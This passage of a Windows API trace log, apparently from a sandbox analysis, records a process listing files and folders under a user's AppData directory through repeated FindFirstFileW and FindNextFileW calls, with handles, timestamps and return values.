dwReserved1=0x0, cFileName="353d8595.jpg", cAlternateFileName="")) returned 1 [0179.884] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x1d7663a2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1d7663a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1d7663a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="a8c77985.jpg", cAlternateFileName="")) returned 1 [0179.884] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb30a9f00, ftCreationTime.dwHighDateTime=0x1d32724, ftLastAccessTime.dwLowDateTime=0xb30a9f00, ftLastAccessTime.dwHighDateTime=0x1d32724, ftLastWriteTime.dwLowDateTime=0xb30a9f00, ftLastWriteTime.dwHighDateTime=0x1d32724, nFileSizeHigh=0x0, nFileSizeLow=0x12d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca910921.jpg", cAlternateFileName="")) returned 1 [0179.884] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.885] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.885] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x3a [0179.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.885] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x3a [0179.885] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.885] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.885] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc924418, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x1224fee8, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xbdca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModuleAnalysisCache", cAlternateFileName="MODULE~1")) returned 1 [0179.885] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.885] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.886] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x3a [0179.886] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0179.886] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.886] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc924418, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x1224fee8, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xbdca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModuleAnalysisCache", cAlternateFileName="MODULE~1")) returned 1 [0179.886] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc924418, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x1224fee8, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xbdca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModuleAnalysisCache", cAlternateFileName="MODULE~1")) returned 0 [0179.886] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0179.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.887] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache", lpFilePart=0x0) returned 0x38 [0179.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.887] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache", lpFilePart=0x0) returned 0x38 [0179.887] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca7566ed, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38be9538, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.887] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca7566ed, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38be9538, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.895] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc316d801, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc316d801, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc316d801, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1296364935", cAlternateFileName="129636~1")) returned 1 [0179.895] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42dc9d5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc42dc9d5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc42dc9d5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1301087654", cAlternateFileName="130108~1")) returned 1 [0179.895] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86414229, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x86414229, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x86414229, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1453256723", cAlternateFileName="145325~1")) returned 1 [0179.896] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a6b7131, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a6b7131, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a6b7131, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="1527C7~1.447")) returned 1 [0179.896] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd16fe20c, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0xd16fe20c, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xd16fe20c, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="166769388", cAlternateFileName="166769~1")) returned 1 [0179.896] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc77cad3f, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc77cad3f, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc77cad3f, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1683741627", cAlternateFileName="168374~1")) returned 1 [0179.896] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbca3f417, ftCreationTime.dwHighDateTime=0x1d5c555, ftLastAccessTime.dwLowDateTime=0xbca3f417, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0xbca3f417, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1742034116", cAlternateFileName="174203~1")) returned 1 [0179.896] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc440dec5, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc440dec5, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc440dec5, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1826862827", cAlternateFileName="182686~1")) returned 1 [0179.896] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38be9538, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x38be9538, ftLastAccessTime.dwHighDateTime=0x1d5e1c8, ftLastWriteTime.dwLowDateTime=0x38be9538, ftLastWriteTime.dwHighDateTime=0x1d5e1c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2099242119", cAlternateFileName="209924~1")) returned 1 [0179.897] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8eb649, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe8eb649, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe8eb649, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2111694984", cAlternateFileName="211169~1")) returned 1 [0179.897] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc421de2e, ftCreationTime.dwHighDateTime=0x1d5c567, ftLastAccessTime.dwLowDateTime=0xc421de2e, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc421de2e, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2174779919", cAlternateFileName="217477~1")) returned 1 [0179.897] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1288aa34, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x1288aa34, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x1288aa34, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2717123927", cAlternateFileName="271712~1")) returned 1 [0179.897] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a600559, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a600559, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a600559, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4185669309", cAlternateFileName="418566~1")) returned 1 [0179.897] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2b90c5, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a2b90c5, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a2b90c5, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="450179714", cAlternateFileName="450179~1")) returned 1 [0179.897] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7926d8, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe7926d8, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe7926d8, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="642584412", cAlternateFileName="642584~1")) returned 1 [0179.898] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d59771, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83d59771, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83d59771, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="C5E252~1.0_N")) returned 1 [0179.898] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83020fb6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83020fb6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83020fb6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="CORTAN~1.0_N")) returned 1 [0179.898] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81af8126, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81af8126, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81af8126, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy", cAlternateFileName="DESKTO~2.0_N")) returned 1 [0179.898] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80ca9f1d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80ca9f1d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80ca9f1d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="DESKTO~1.0_N")) returned 1 [0179.898] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79e84fa9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79e84fa9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79e84fa9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="E2A4F9~1.332")) returned 1 [0179.899] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1636cc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c1636cc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c1636cc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="ENVIRO~1.0_N")) returned 1 [0179.899] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db04be3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db04be3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db04be3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy", cAlternateFileName="HOLOCA~1.5_N")) returned 1 [0179.899] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e3f592b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e3f592b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e3f592b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy", cAlternateFileName="HOLOIT~1.2_N")) returned 1 [0179.899] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd33b5198, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd33b5198, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd33b5198, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", cAlternateFileName="MICROS~2.0_N")) returned 1 [0179.899] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80235763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80235763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80235763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy", cAlternateFileName="MICROS~1.447")) returned 1 [0179.900] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb18f1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7cfb18f1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7cfb18f1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MI2C32~1.0_N")) returned 1 [0179.900] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7673c617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7673c617, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7673c617, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MICEC2~1.0_N")) returned 1 [0179.900] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b1e4202, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7b1e4202, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7b1e4202, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.LockApp_10.0.15063.0_neutral__cw5n1h2txyewy", cAlternateFileName="MIC1CC~1.0_N")) returned 1 [0179.900] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, 